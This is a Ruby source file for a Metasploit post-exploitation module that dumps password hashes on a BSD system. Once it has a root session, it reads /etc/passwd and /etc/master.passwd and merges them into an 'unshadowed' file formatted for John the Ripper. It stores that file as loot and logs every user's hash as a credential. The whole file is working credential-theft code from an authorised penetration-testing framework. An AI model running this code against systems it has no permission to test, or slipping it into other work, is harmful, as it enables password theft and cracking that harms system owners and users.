modules/post/bsd/gather/hashdump.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'BSD Dump Password Hashes',
'Description' => %q{ Post module to dump the password hashes for all users on a BSD system. },
'License' => MSF_LICENSE,
'Author' => ['bcoles'],
'Platform' => ['bsd'],
'SessionTypes' => ['shell', 'meterpreter']
)
)
end
def run
unless is_root?
fail_with Failure::NoAccess, 'You must run this module as root!'
end
passwd = read_file('/etc/passwd').to_s
unless passwd.blank?
p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')
vprint_good("passwd saved in: #{p}")
end
master_passwd = read_file('/etc/master.passwd').to_s
unless master_passwd.blank?
p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')
vprint_good("master.passwd saved in: #{p}")
end
# Unshadow passswords
john_file = unshadow(passwd, master_passwd)
return if john_file == ''
john_file.each_line do |l|
hash_parts = l.split(':')
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
if jtr_format.empty? # overide the default
jtr_format = 'des,bsdi,sha512,crypt'
end
credential_data = {
jtr_format: jtr_format,
origin_type: :session,
post_reference_name: refname,
private_type: :nonreplayable_hash,
private_data: hash_parts[1],
session_id: session_db_id,
username: hash_parts[0],
workspace_id: myworkspace_id
}
create_credential(credential_data)
print_good(l.chomp)
end
p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')
print_good("Unshadowed Password File: #{p}")
end
def unshadow(pf, sf)
unshadowed = ''
sf.each_line do |sl|
pass = sl.scan(/^\w*:([^:]*)/).join
next if pass == '*'
next if pass == '!'
user = sl.scan(/(^\w*):/).join
pf.each_line do |pl|
next unless pl.match(/^#{user}:/)
unshadowed << pl.gsub(/:\*:/, ":#{pass}:")
end
end
unshadowed
end
end